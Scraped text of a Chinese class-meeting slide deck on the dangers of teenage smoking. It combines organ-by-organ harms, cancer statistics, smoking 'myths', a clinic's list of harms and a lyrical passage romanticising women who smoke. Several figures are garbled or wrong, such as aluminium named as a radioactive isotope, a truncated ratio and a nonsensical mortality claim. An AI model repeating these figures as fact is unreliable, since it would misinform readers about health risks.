青少年吸煙的危害主題班會(huì)課件

青少年吸煙的危害究竟有哪些主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害究竟有哪些？大家都知道12歲到18歲的青少年正處于生長發(fā)育的階段，身體內(nèi)部的各個(gè)系統(tǒng)、各個(gè)器官發(fā)育還未成熟，比較嬌嫩，因而對(duì)有害、有毒物質(zhì)的吸收相比之下比成年人更容易吸收，受的毒害會(huì)更深。過去我們只關(guān)注工廠大氣污染區(qū)（如二氧化硫的污染）的青少年發(fā)病率普遍比成人高，病情相對(duì)比成年人也較嚴(yán)重。但是我們的政府還沒有對(duì)青少年的吸煙引起足夠的重視。青少年在發(fā)育階段中，其家庭環(huán)境及公共環(huán)境被動(dòng)地受到成年人吸煙時(shí)噴吐出煙塵的毒害；更沒有深度的了解我國青少年吸煙的情況。這是我們少兒愛衛(wèi)辦衛(wèi)生工作中的一個(gè)很重大的失誤。現(xiàn)今醫(yī)學(xué)科學(xué)早已證實(shí)煙草在點(diǎn)燃后，煙草在燃燒的過程中釋放的煙霧中含幾十種對(duì)身體有害的物質(zhì)。這些有害物質(zhì)首先對(duì)呼吸系統(tǒng)的天然防病機(jī)能進(jìn)行毀滅性的破壞。青少年的支氣管都比較直，所以當(dāng)煙霧帶著有害的煙塵微粒（非常?。┖陀泻ξ镔|(zhì)進(jìn)入呼吸道時(shí)，就更容易長驅(qū)直入達(dá)到更細(xì)的支氣管內(nèi)部和肺泡。在吸入有毒物質(zhì)的過程中，毒物可以損害呼吸道粘膜上的纖毛，使纖毛喪失了排除外來異物的能力。毒物慢慢深入肺泡后又能損害肺的蠶噬能力。結(jié)果這兩道人體生理防線都被毒物給徹底破壞了。青少年吸煙的危害主題班會(huì)據(jù)聯(lián)合國世界衛(wèi)生組織調(diào)查研究得出：青少年吸煙患咳嗽的、支氣管炎的、痰多的、肺部感染的以及肺功能損害的要比不吸煙的青少年明顯增多。這就極大的影響了他們肺部的正常生理發(fā)育。這不過是吸煙所帶來的顯而易見的危害。如果不及早的戒掉，一旦吸煙成了習(xí)慣就會(huì)造成慢性支氣管炎、肺氣腫，甚至肺心病，嚴(yán)重影響身體健康，縮短壽命。許多數(shù)據(jù)還證實(shí)吸煙者比不吸煙者的患肺癌發(fā)病率要高出10倍以上。吸煙開始的年齡越早，煙齡越長，發(fā)生肺癌的年齡也會(huì)隨之提前，發(fā)病率的倍數(shù)也越大。例如20—24歲開始吸煙的為患肺癌的機(jī)率為10倍，15—19歲的為15倍；15歲以前就開始的為17倍。煙草中的尼古丁我想大家都知道吧？那就是各種疾病的罪魁禍?zhǔn)祝茉斐晒跔顒?dòng)脈硬化和高血壓，從而引發(fā)各種心腦血管疾病。青少年加強(qiáng)自身的體育鍛煉是增強(qiáng)體質(zhì)的重要方式，吸煙危害肺部和心臟的正常發(fā)育，直接降低了體育鍛煉的效果，比如降低了跑步、游泳及其它劇烈運(yùn)動(dòng)的耐力和肺活量。再者，科學(xué)證明，煙霧中的一氧化碳一旦吸入肺內(nèi)，與血紅蛋白迅速結(jié)合，剝奪了血紅蛋白與氧的結(jié)合的機(jī)會(huì)，降低了回到全身組織血液的含氧量，影響了青少年大腦得到充分的、良好的血液的供應(yīng)情況。長此以往這樣惡性循環(huán)就會(huì)降低青少年的腦力活動(dòng)和學(xué)習(xí)能力。目前正是青少年吸取知識(shí)，完善自我的黃金時(shí)機(jī)，應(yīng)該更好的吸納知識(shí)，頑強(qiáng)的學(xué)習(xí)，才能接好攀登科學(xué)高峰的班，決不能輕易讓煙霧里的一氧化碳等有害物質(zhì)來損害青少年的學(xué)習(xí)能力。青少年吸煙的危害主題班會(huì)全世界大部分國家中90%的肺癌是由吸煙引起的，我國每10萬人中有35人患肺癌。吸煙開始年齡越早，肺癌發(fā)生率與死亡率越高。若將不吸煙者肺癌死亡率設(shè)為1.00時(shí)，15歲以下開始吸煙者其死亡率為19.65，20～24歲為10.08，25歲以上為4.08。30%的癌癥可歸究于吸煙，特別是肺癌、喉癌、口腔癌、食道癌，還可致膀胱癌、胰腺癌和腎癌。最致命的是肺癌和胰腺癌。長期吸煙者比不吸煙者的肺癌發(fā)病率高10～20倍，喉癌發(fā)病率高6～1如果每日吸煙25支以上，12%的人會(huì)發(fā)生肺癌。某醫(yī)院在收治的1000例肺癌病人中，發(fā)現(xiàn)80%是長期吸煙者。女性吸煙者危險(xiǎn)性更嚴(yán)重，是男性吸煙者的1.9倍。吸煙婦女患宮頸癌與卵巢癌相對(duì)危險(xiǎn)度高。前者比不吸煙者高4.4倍，后者高2.8倍。家庭中被動(dòng)吸煙比無被動(dòng)吸煙者發(fā)生宮頸癌的相對(duì)危險(xiǎn)度高2.5倍。吸煙20年以上的婦女患乳癌的危險(xiǎn)性增加30%，吸煙30年以上者這一危險(xiǎn)增加60%。吸煙者癌癥發(fā)病比不吸煙者要早8年。吸煙者在戒煙后發(fā)生有益變化，5年內(nèi)比一般吸煙者(每天一包)肺癌死亡率下降或近于不吸煙者?？谇?、呼吸道、食道癌發(fā)生率降到吸煙者發(fā)病率的一半。一些與吸煙者共同生活的女性，其患肺癌的幾率要比常人高出6倍。青少年吸煙的危害主題班會(huì)抽煙是一種不健康的生活習(xí)慣，抽煙對(duì)人體的危害有：【腦部】

吸煙會(huì)引致多種腦部疾病，會(huì)減低循環(huán)腦部之氧氣及血液，引致腦部血管出血及閉塞，而導(dǎo)致麻痹、智力衰退及中風(fēng)。中風(fēng)原因是吸煙導(dǎo)致腦部血管痙攣，使血液比較容易凝結(jié)。吸煙者中風(fēng)機(jī)率較非吸煙人士高出兩倍。【喉部】

吸煙可導(dǎo)致喉癌。喉癌患者以男性居多?！拘呐K及血管】

吸煙會(huì)使脂肪積聚、血管閉塞，令吸煙者容易患冠狀動(dòng)脈心臟病。因吸煙而導(dǎo)致的心臟病死亡率占全部的25%。50歲以上吸煙人士的患病率提高2倍。50歲以下吸煙人士的患病率提高9至14倍。吸煙令血管收縮，減慢血液及氧份循環(huán)，最終導(dǎo)致血管壁變厚，誘發(fā)冠心病及中風(fēng)。吸煙會(huì)令手腳血液流通完全受阻，以致截肢?！痉尾俊?/p>

吸煙會(huì)引致肺癌。90%的總死亡率是由吸煙所導(dǎo)致。一個(gè)人每天吸食十支煙，其患病率是非吸煙人士之十倍。被破壞的細(xì)胞不能回復(fù)正常。初期病徵不會(huì)被察覺，直至癌性細(xì)胞漫延至血管及其他器官。吸煙亦會(huì)引致肺氣腫，肺部支氣管內(nèi)積聚之有毒物質(zhì)，會(huì)阻礙人體吸入之空氣正常呼出，令肺部細(xì)胞膨脹或爆裂，導(dǎo)致患病者呼吸困難?！疚覆俊?/p>

患有腸胃性疾病者，吸煙足以使腸胃病更惡化?；加形笣兓蚴改c潰瘍者，潰瘍處的愈合會(huì)減慢，甚至演變?yōu)槁圆?。吸煙能刺激神?jīng)系統(tǒng)，加速唾液及胃液的分泌，使胃腸時(shí)常出現(xiàn)緊張狀態(tài)，導(dǎo)致吸煙者食欲不振。另外，尼古丁會(huì)使胃腸黏膜的血管收縮，亦令食欲減退?！竟趋馈?/p>

吸煙人士的斷骨康復(fù)期要比不吸煙人士長?？赡苁菬熕哪峁哦〖耙谎趸纪暇徚斯歉斓脑偕倪M(jìn)度。尼古丁令血管收縮，降低了流到新生骨骼的血量。吸煙時(shí)吸入的一氧化碳，亦同時(shí)減少進(jìn)入身體的氧氣比率。吸煙會(huì)引致盤骨炎及背痛。每天抽煙十支以上，將盤骨炎患病率提高一倍。有嚴(yán)重背痛的人大部份都有很大煙癮，這是由於吸煙會(huì)引致流向關(guān)節(jié)盤的血液減少，關(guān)節(jié)盤因而提早退化。吸煙會(huì)引致關(guān)節(jié)炎。每天吸食一包煙，將提高患病率達(dá)50%。停經(jīng)后女性吸煙者更容易患骨折及關(guān)節(jié)病。吸煙導(dǎo)致骨質(zhì)流失更快。婦女由青春期至踏入更年期，每日持續(xù)吸煙一包，其骨骼比非吸煙者少百分之五至十。當(dāng)步入更年期后吸煙者的骨質(zhì)流失率更快。吸煙會(huì)干擾雌激素，而雌激素正是骨骼發(fā)展的重要荷爾蒙。

青少年吸煙的危害主題班會(huì)【支氣管】

吸煙是導(dǎo)致慢性阻塞氣管疾病的主要發(fā)病因素。因?yàn)槲鼰熌芤轮夤苌掀ぜ?xì)胞的纖毛變短和不規(guī)則及其和運(yùn)動(dòng)發(fā)生障礙，降低局部性抵抗力，容易受到感染?！靖闻K】

吸煙會(huì)加重肝臟負(fù)擔(dān)。經(jīng)常抽煙會(huì)影響肝臟的脂質(zhì)代謝作用，令血中脂肪增加，使到良性膽固醇減少，惡性膽固醇增加。這個(gè)原因令肝臟的解毒功能增加負(fù)擔(dān)。【腸】

吸煙會(huì)導(dǎo)致結(jié)腸癌?；即税┑臋C(jī)會(huì)則與吸食煙草的份量成正比。研究顯示停止吸煙雖然可以減低其他疾病例如心臟病、肺癌等的機(jī)會(huì)，但患上結(jié)腸癌的危險(xiǎn)就仍然非常大。【眼部】

吸煙會(huì)引起白內(nèi)障，影響視力。研究顯示每天吸煙超過一包的白內(nèi)障患者是從不吸煙者的2倍?！径譄煛?/p>

二手煙是由香煙、煙斗或雪茄燃燒時(shí)，飄出來或吸煙者抽煙時(shí)呼出的一種混合煙霧。在許多吸煙的場所中，二手煙是最常接觸到的污染物。抽煙時(shí)噴出的煙霧可散發(fā)超過四千種氣體和粒子物質(zhì)，大部分這些物質(zhì)都是很強(qiáng)烈的刺激物，其中至少有四十種在人類或動(dòng)物身上可引致癌病。在抽煙者停止吸煙后，這些粒子仍能停留在空氣中數(shù)小時(shí)，可被其他非吸煙人士吸進(jìn)體內(nèi)，亦可能和氡氣的衰變產(chǎn)物混合一起，對(duì)人體健康造成更大的傷害。

當(dāng)吸煙危害吸煙者本身健康的同時(shí)，二手煙也影響非吸煙者。除了刺激眼、鼻和咽喉外，它也會(huì)明顯地增加非吸煙者患上肺癌和心臟疾病的機(jī)會(huì)。如果兒童與一些吸煙人士同住的話，他們的呼吸系統(tǒng)會(huì)較容易受到感染。其他影包括增加咳嗽、氣喘、痰多、損壞肺部功能和減緩肺部發(fā)育。青少年吸煙的危害主題班會(huì)煙草燃燒時(shí)釋放的煙霧中含有３８００多種已知的化學(xué)物質(zhì)，絕大部分對(duì)人體有害。

尼古丁可損害支氣管粘膜，引發(fā)氣管炎。

尼古丁毒害腦細(xì)胞，可使吸煙者出現(xiàn)中樞神經(jīng)系統(tǒng)癥狀。尼古丁可促進(jìn)癌的形成。尼古丁可造成血壓升高，心跳加快，甚至心律不齊并誘發(fā)心臟病。

尼古丁可引起胃痛及其它胃病。每支煙燃燒時(shí)可產(chǎn)生一氧化碳２０—３０毫克。一氧化碳與血紅蛋白的親和力比氧化高２５０倍。人們吸入較多的一氧化碳時(shí)，一氧化碳與血紅蛋白結(jié)合形成大量的碳合血紅蛋白，造成組織和器官缺氧，使大腦、心臟等多種器官產(chǎn)生損傷。

煙焦油可附著于吸煙者的氣管、支氣管和肺泡表面，產(chǎn)生物理、化學(xué)刺激，

損害人體的呼吸功能。煙焦油含多種致癌物和促癌物。

香煙中的苯丙蓖被吸煙者直接吸入或彌漫于室內(nèi)，濃度相當(dāng)高。燃燒一包香

煙，可產(chǎn)生０．２４—０．２８微克的苯丙蓖。據(jù)調(diào)查表明，空氣中的苯丙蓖含量每增加1微克／１０００米3，就會(huì)使肺癌發(fā)病率增加５--１５％。

香煙煙霧中含鋁、釙兩種放射性同位素，吸煙時(shí)可被吸收入肺并沉積體內(nèi)。它們不斷放出射線，長期損傷肺組織。一個(gè)每天吸２０支煙的人，１年吸入的放射性元素的輻射量，相當(dāng)于吸煙者１年拍了３００張X線胸片。

煙草中含砷、汞、鎘、鎳等有害物質(zhì)。以鎘為例，鎘蓄積體內(nèi)，可引起哮喘、肺氣腫；微量的鎘可殺滅輸精管內(nèi)的精子，影響生育；大量鎘進(jìn)入骨組織，可引起骨骼脫鈣，變形、變脆，容易發(fā)生骨折?！鹃L義堂說】吸煙有害健康！請(qǐng)勿吸煙！青少年吸煙的危害主題班會(huì)

吸煙對(duì)身體有害眾所周知，但是你知道吸煙的危害有哪些？義烏男科醫(yī)院為你介紹吸煙的20條危害。香煙攜帶病菌。最新研究發(fā)現(xiàn)，香煙帶有很多病菌，這些病菌會(huì)在吸煙過程中隨之吸入體內(nèi)。它們的致病機(jī)理尚不清楚，但香煙攜帶病菌是不可辯駁的事實(shí)。吸煙影響性功能。吸煙會(huì)影響血液循環(huán)，使生殖器血流量減少，進(jìn)而導(dǎo)致性喚起困難（包括男性和女性）。2007年中國一項(xiàng)大規(guī)模調(diào)查還發(fā)現(xiàn)，20%的男性勃起功能障礙與吸煙有關(guān)。吸煙人睡眠質(zhì)量差。美國約翰霍普金斯大學(xué)一項(xiàng)研究發(fā)現(xiàn)，一夜睡醒后，吸煙者依然困倦的幾率是非吸煙者的4倍。研究人員分析指出，其原因是吸煙者夜間睡眠過程中，身體無法獲得尼古丁，雖然看似呼呼大睡，實(shí)際上其睡眠會(huì)多次被打擾，睡眠質(zhì)量下降。吸煙者骨頭很脆弱。研究發(fā)現(xiàn)，女煙民每吸煙10年，骨礦物質(zhì)密度就會(huì)降低2.3%—3.3%，骨質(zhì)密度下降會(huì)導(dǎo)致骨折和骨質(zhì)疏松癥發(fā)病率大增。在絕經(jīng)婦女中，這種危險(xiǎn)更大。吸煙增加失聰失明危險(xiǎn)。最新研究發(fā)現(xiàn)，與不吸煙者相比，吸煙者發(fā)生聽力喪失的危險(xiǎn)增加近70%.一項(xiàng)對(duì)2萬多名男性的大規(guī)模調(diào)查發(fā)現(xiàn)，吸煙也會(huì)增加男性視力減弱的幾率。吸煙還會(huì)增加產(chǎn)生視力頭號(hào)“殺手”黃斑變性的可能。青少年吸煙的危害主題班會(huì)吸煙愛得牛皮癬。多項(xiàng)研究表明，每天吸煙與牛皮癬發(fā)病危險(xiǎn)的增加有極大的關(guān)聯(lián)性。每天吸煙超過20根以上，牛皮癬的發(fā)病危險(xiǎn)就會(huì)水漲船高。吸煙者大多手腳冰涼。吸煙阻礙人體血液循環(huán)順暢運(yùn)行，讓手腳供血不足，所以吸煙者容易手腳冰涼，手指和腳趾也更容易發(fā)生凍瘡。香煙+口服避孕藥=心臟病。英國最新研究發(fā)現(xiàn)，吸煙女性同時(shí)服用避孕藥，會(huì)導(dǎo)致心臟病、中風(fēng)等心腦血管疾病幾率增加10倍。其原因是，吸煙會(huì)增加血黏度，更易導(dǎo)致血栓；而避孕藥也會(huì)使血液變稠?！拔鼰?避孕藥”雙重作用，使發(fā)病率又增1倍。吸煙降低藥效。吸煙會(huì)影響肝臟酶處理藥物的效果，因此吸煙者有時(shí)需要加大藥量才能產(chǎn)生相同的藥效。而戒煙之后，某些藥物的用藥量會(huì)隨之下降。吸煙易誘發(fā)火災(zāi)。調(diào)查發(fā)現(xiàn)，吸煙者家庭成員發(fā)生燒傷的危險(xiǎn)比無煙家庭成員高6.6倍。導(dǎo)致致命房屋火災(zāi)的各種原因中，吸煙占55%，位居首位。吸煙的人看起來很老。吸煙會(huì)導(dǎo)致皮膚血管受損，增加皮膚皺紋，減少皮膚彈性。牙齒上的煙垢，也會(huì)讓一個(gè)人看起來很丑陋。另外，與非煙民相比，吸煙者早生白發(fā)的幾率高3—6倍，謝頂幾率高1倍。吸煙人養(yǎng)的寵物也愛得癌。多項(xiàng)研究表明，家庭二手煙不僅會(huì)殃及老年人、孕婦及嬰幼兒健康，還會(huì)增加寵物患癌危險(xiǎn)。比如貓會(huì)得口腔癌和淋巴瘤，狗容易患肺癌和鼻癌，鳥也容易患上肺癌。吸煙人愛請(qǐng)病假。荷蘭一項(xiàng)新研究顯示，吸煙者一年到頭小病不斷，每年請(qǐng)病假數(shù)量比不吸煙者多11天。吸煙過不上“低碳生活”。種植煙草需要砍伐大片森林；清洗有煙味的衣服需要耗費(fèi)更多的水和電。吸煙產(chǎn)生的碳排放量相當(dāng)高，戒煙則是在為“減排”做貢獻(xiàn)。吸煙者家庭矛盾多。由吸煙引發(fā)的矛盾會(huì)從家人的嘮叨升級(jí)為吵架，甚至離婚。香煙是導(dǎo)致家庭不幸福的一個(gè)重要原因。青少年吸煙的危害主題班會(huì)吸煙與癌癥

今年全國腫瘤防治宣傳周的的主題是“拒絕煙草，遠(yuǎn)離癌癥。”人們應(yīng)該知道吸煙患癌癥的風(fēng)險(xiǎn)有多大，戒煙對(duì)于減低風(fēng)險(xiǎn)是多么有效，這應(yīng)該成為常識(shí)。在這里記者請(qǐng)了省立醫(yī)院的主任醫(yī)師胡冰和季楚舒，請(qǐng)她們告訴我們吸煙的危害。1.30%的癌癥可歸“功”于吸煙，特別是肺癌、喉癌、口腔癌、食道癌，還可致膀胱癌、胰腺癌和腎癌。最致命的是肺癌和胰腺癌。

2.長期吸煙者的肺癌發(fā)病率比不吸煙者高10~20倍，喉癌高6~10倍，食管癌高4~10倍，胰腺癌高2~3倍，膀胱癌高3倍，血癌危險(xiǎn)性增加1.78倍。3.如果每日吸煙25支以上，12%的人會(huì)發(fā)生肺癌。4.一些與吸煙者共同生活的女性，患肺癌幾率比常人多出6倍。5.在1000例肺癌病人中，80%是長期吸煙者。女性吸煙者危險(xiǎn)性更嚴(yán)重，是男性吸煙者的1.9倍。6.吸煙指數(shù)超過400年支（吸煙年數(shù)和平均每天吸煙支數(shù)的乘積）是一個(gè)危險(xiǎn)信號(hào)，如一位小伙子，15歲開始吸煙，每天吸一包，到不了35~40歲，可能就會(huì)得肺癌。7.全世界大部分國家的90%肺癌是吸煙引起，我國每10萬人中有35人患癌癥。吸煙開始年齡越早，肺癌發(fā)生率與死亡率越高。若將不吸煙者肺癌死亡率設(shè)為1.00時(shí)，15歲以下開始吸煙者其死亡率為19.65，20~24歲為10.08，25歲以上為4.08。8.吸煙婦女患宮頸癌與卵巢癌相對(duì)危險(xiǎn)度高。前者比不吸煙者高4.4倍，后者為2.8倍。家庭中被動(dòng)吸煙比無被動(dòng)吸煙者發(fā)生宮頸癌的相對(duì)危險(xiǎn)度高2.5倍。9.吸煙20年以上婦女患乳癌危險(xiǎn)增加30%，吸煙30年以上者這一危險(xiǎn)增加60%。吸煙者癌癥發(fā)病比不吸煙者早8年。10.吸煙者在戒煙后發(fā)生有益變化，5年內(nèi)比一般吸煙者（每天一包）肺癌死亡率下降或近于不吸煙者?？谇?、呼吸道、食道癌發(fā)生率降到吸煙者發(fā)病率的一半。10年內(nèi)，癌前細(xì)胞被健康的細(xì)胞代替。戒煙10年以上肺癌發(fā)生率大致降到和不吸煙者相同?！拔鼰熓菍?dǎo)致肺癌的主要原因，只要停止吸煙，90%的肺癌可以預(yù)防。”專家介紹，如果吸煙逐年下降，那么在若干年后，癌癥特別是肺癌的發(fā)生率和死亡率就會(huì)隨之下降。青少年吸煙的危害主題班會(huì)男性如此吸煙害上加害

煙有害健康，人人皆知，但吸煙的時(shí)間、環(huán)境、場合掌握不好更是害上加害，這恐怕是許多癮君子始料不及的。誤區(qū)之一：清晨一支煙，精神好一天這是一些“老煙槍”的自我感覺，他們清晨醒來第一件事就是燃上一支香煙，還美其名曰“早煙提神”。如果清晨不吸一支煙，就無所適從，甚至總覺得少做了一件事似的。特別是煙癮大的人，往往人還未離床，就坐在被窩里迫不及待地吞云吐霧起來。是的，睜開睡眼，抽一支香煙，將一夜新陳代謝后血液中降下來的尼古丁濃度“彌補(bǔ)”上來，這對(duì)于那些“煙鬼”來說，精神確實(shí)可“為之一振”。殊不知，經(jīng)過了一個(gè)晚上，房間里的空氣沒有流通，甚是污濁，混雜著香煙的煙霧又被重新吸進(jìn)肺中；另外，空腹吸煙，煙氣會(huì)刺激支氣管分泌液體，久而久之就會(huì)引發(fā)氣管炎target=_blank>慢性支氣管炎。民間有句諺語：“早上吸煙，早歸西天”，已為人們敲響了警鐘在然說得有些夸大，但在一定程度上也可以說明早晨吸煙的危害性和嚴(yán)重性。青少年吸煙的危害主題班會(huì)誤區(qū)之二：飯后一支煙，賽過活神仙對(duì)吸煙者來說更是一種非常有害的誤導(dǎo)。飯后，血液循環(huán)量增加，尼古丁迅速地被吸收到血液，使人處于興奮狀態(tài)，腦袋飄飄然，就如同“煙民”們描述“神仙”一樣的感覺。實(shí)際上，飯后吸一支煙，比平常吸十支的毒害還大。因?yàn)轱埡笕梭w熱量大增，這時(shí)吸煙會(huì)使蛋白質(zhì)和重碳酸鹽的基礎(chǔ)分泌受到抑制，妨礙食物消化，影響營養(yǎng)吸收。同時(shí)還給胃及十二指腸造成直接損害，使胃腸功能紊亂，膽汁分泌增加，容易引起腹部疼痛等癥狀。而且身體在對(duì)食物積極消化、吸收的同時(shí)，對(duì)香煙煙霧的吸收能力也增強(qiáng)，吸進(jìn)的有害物質(zhì)也增加。所以，可以這樣說：飯后吸煙，禍害無邊。青少年吸煙的危害主題班會(huì)誤區(qū)之三：朋友聊天，喝酒吸煙許多人都喜歡在喝酒時(shí)吸煙，認(rèn)為朋友相聚，必須有好酒好煙，這樣才有好的氣氛，二者缺一不可。酒喝多了，點(diǎn)燃一支煙，細(xì)細(xì)品味，似乎樂處多多。但你可能有所不知，煙酒一起享用比單獨(dú)喝酒或吸煙的毒害更大。因?yàn)榫凭珪?huì)溶解于煙焦油中，促使致癌物質(zhì)轉(zhuǎn)移到細(xì)胞膜內(nèi)。有資料顯示，口腔癌有70％與吸煙和喝酒雙管齊下有關(guān)聯(lián)。最為嚴(yán)重的是，煙酒同時(shí)進(jìn)行使肝臟代謝功能只能顧及清除酒精而很難顧及其他，致使煙草的有毒物質(zhì)在人體內(nèi)停留數(shù)小時(shí)甚至幾天，加大了煙草對(duì)身體的危害程度。因此，飲酒時(shí)吸煙實(shí)質(zhì)上是同健康和生命開玩笑。青少年吸煙的危害主題班會(huì)誤區(qū)之四：如廁吸煙，一帶兩便

這也是在民間流傳了很久的一句俗語，而正因?yàn)榱餍?，毒害才更加廣泛。許多人認(rèn)為廁所里有臭氣，吸煙可以沖淡一些。事實(shí)上，廁所里氨的濃度比其他地方要高，氧的含量相對(duì)較低，而煙草在低氧狀況下會(huì)產(chǎn)生更多的二氧化硫和一氧化碳，連同廁所里的有毒氣體以及致病細(xì)菌等大量被吸入肺中，對(duì)人體危害極大。患有冠狀動(dòng)脈性心臟病或慢性支氣管炎的病人在廁所內(nèi)吸煙，可導(dǎo)致心絞痛、心肌梗死或氣管炎的急性發(fā)作。所以，廣大癮君子吸煙一定要注意場合、時(shí)間等，當(dāng)然為自己的健康考慮，最好是戒煙。青少年吸煙的危害主題班會(huì)不知道聽誰說過，沒有傷痕的女孩是不會(huì)愛上吸煙的；

沒有受過傷害的女人，是不會(huì)愛上傷口的；

我想一個(gè)沒有受過傷害的女人也是不會(huì)愛上煙的。

煙是對(duì)那些美好細(xì)節(jié)的緬懷。做著一個(gè)神情憂郁的女子，坐在冬天憂郁的場景里吸煙的姿勢，總是讓她有一種說不出的酸澀。

我猜想此時(shí)此刻，她內(nèi)心的疼痛，正象藍(lán)玫瑰一樣綻放。

煙是短暫的，所有銷魂的東西，都是短暫的，而美麗也因?yàn)槎虝憾用利?。受一點(diǎn)點(diǎn)傷，就會(huì)哭泣，那是單純的少女，但是吸煙的女人卻不會(huì)輕易哭泣，選擇煙，也就選擇了一種絕美。

愛是一種傷害，但女人們卻在傷害中尋找快樂。煙也是一種傷害，但同時(shí)，煙又讓女人忘記了傷害。如果說，不吸煙的女人是一抹胭脂紅，那么吸的女人就是一朵曼陀羅。煙漸漸飄散，飄不散的是風(fēng)情和幻想。

青少年吸煙的危害主題班會(huì)一支煙。對(duì)于女人來說，究竟意味著什么？或許是情欲的顛峰，或許是分手的凄惻。沒有傷害的愛是不完整的。

想起或者忘記那些愛過的和傷過的人，都需要煙。

煙不是一種生理需要，煙是一種心理需要。

長長的，細(xì)細(xì)的，煙在清瀅動(dòng)人的纖指之間燃燒

如同那深藍(lán)色的指甲，有一點(diǎn)深邃，有一點(diǎn)慵懶，有一點(diǎn)嫵媚，有一點(diǎn)溫婉，還有一點(diǎn)迷情。

一支煙，更象是一種別離。

坐在暗橙色的咖啡館里，散發(fā)著恬淡的芬芳，所有的陽光都圍繞在身旁。青少年吸煙的危害主題班會(huì)

窗外，所有的人都行履匆匆，每個(gè)人似乎都知道自己的方向。

吸煙的女人，內(nèi)心冰涼如面一朵凌霄花。

一本發(fā)黃的書，一杯黑咖啡，一句讓人心跳的詩，帶回了那羞澀的少女時(shí)代，那時(shí)，什么都不懂，生活里只有淺綠色的夢。

足音清脆，讓所有的目光都停止呼吸。

背影，如同一朵迷情的云，讓多少風(fēng)停止歌唱。

說話的聲音，輕輕的，甜甜的，多象一陣春雨，那么憂傷，那么潔凈。

那時(shí)候，為書中的故事，流下了多少可愛的淚水。

可現(xiàn)在，在也不會(huì)了，因?yàn)樗约阂渤闪斯适吕锏娜宋铩?/p>

青少年吸煙的危害主題班會(huì)與其說坐在椅子里，還不如說是陷在椅子里。

那一張?jiān)镜囊巫?，如同一只花籃，只是里里面躺著一支灰色的玫瑰。

整個(gè)上午，都沉浸在這樣一種朱古力的溫情里，一支接一支地抽煙。每個(gè)女人的命運(yùn)，都是悲劇。因?yàn)?，?duì)于女人來說一切都是那么短暫。

年輕的時(shí)候，想象在一個(gè)人的手心里漸漸老去，那種感覺是很溫馨的。

因?yàn)?，那時(shí)并不理解什么是老，以為那是一種至深的浪漫。

現(xiàn)在，當(dāng)歲月無情地在臉上刻下傷痕的時(shí)候，才發(fā)現(xiàn)蒼老是一個(gè)多么可怕的魔鬼。

老了，就是煙即將燃完的那一瞬間。

撳滅了煙蒂，又點(diǎn)上一支，但是發(fā)現(xiàn)了她的眼角，那一抹潮濕的晶瑩。

煙在靜靜燃燒。上午的咖啡館，如同一個(gè)沒有睡醒的少婦，低低回旋著清淡的音樂。青少年吸煙的危害主題班會(huì)在下午三點(diǎn)鐘的時(shí)候，人漸漸多起來，緩緩地挪了挪身子，她想要站起來，一看，煙盒里還有最后一根煙，又坐下，點(diǎn)上，火柴劃亮了暗淡的角落，臉上顯露出那憂郁深深的痕跡。

人們的說話聲，使她感到不安。沒有將煙抽完，就起身離去，腳步很輕，姿勢輕的象一只貓一樣。

然后，消失在十二月冰冷的風(fēng)里，沒有痕跡...青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)看到了嗎？香煙燃燒掉了你生活中的美好

青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)吸煙是最最愚蠢的一種自殺方式

青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)吸煙的好處：

吸煙的人永遠(yuǎn)年輕；因?yàn)槲鼰煹娜硕紩?huì)得各種癌，死的時(shí)候都很年青。吸煙的人家里永遠(yuǎn)安全；因?yàn)槲鼰煹娜怂桨胍箷?huì)咳個(gè)不停，小偷一聽就知道家里有人。吸煙的人不會(huì)被蚊子咬；整天吞云吐霧，血液味道極差而且有毒，蚊子可能會(huì)被毒死了。吸煙的人不會(huì)被狗咬；因?yàn)槲鼰煹娜撕苋菀遵劚常房匆娏怂麄?，還以為他們正在揀石子打它們。

青少年吸煙的危害主題班會(huì)肺青少年吸煙的危害主題班會(huì)吸煙的害處：1、肺部長期煙熏火燎，肺泡失去彈性形成肺氣腫，哥的肺天天都在不完全燃燒，它到底還能撐多久！2、香煙中含有4000種有毒物質(zhì)，長期累積在肺中必然導(dǎo)致肺癌；3、長期吸煙必然導(dǎo)致陽痿疲軟，影響生活質(zhì)量和夫妻感情；4、長期吸煙導(dǎo)致精力不濟(jì)，丟三拉四，還經(jīng)常疲憊不堪；5、吸煙導(dǎo)致牙很黑牙很黃，極大影響個(gè)人形象；6、吸煙導(dǎo)致牙周炎，滿嘴臭氣，使人退避三舍；7、吸煙是不折不扣的花錢買罪受愚蠢行為，必戒除不可；8、對(duì)家人危害大，讓他們吸二手煙影響家人身體健康，心中愧對(duì)；9、煙癮難耐、到處抽煙，滿身煙味令人生厭、討人嫌；

青少年吸煙的危害主題班會(huì)11

隨處抽煙容易引發(fā)火災(zāi)，到處都禁止吸煙；全世界有近五分之一的火災(zāi)是由吸煙引起的12在辦公實(shí)驗(yàn)場所禁止吸煙，煙塵會(huì)導(dǎo)致設(shè)備短路促進(jìn)老化；13

抽煙的人經(jīng)常會(huì)攀比，費(fèi)錢不說還很無聊，很無趣；14香煙就是慢性毒品，長期吸食就是等于慢性自殺；15

長期抽煙導(dǎo)致支氣管炎癥，天天咳嗽非常難受，痰多，惹人青少年吸煙的危害主題班會(huì)16

吸煙經(jīng)常會(huì)燒壞衣物寢具，甚至引發(fā)火災(zāi)；

17

長期抽煙對(duì)人的情緒影響很大，會(huì)使人無故發(fā)脾氣；

18

吸煙的后果必然影響生命質(zhì)量，縮短生命時(shí)間；哥吸的不是香煙，而是自己的生命；

19

目前的狀況不允許再繼續(xù)抽煙，就是允許也不應(yīng)吸食自己的生命；

20

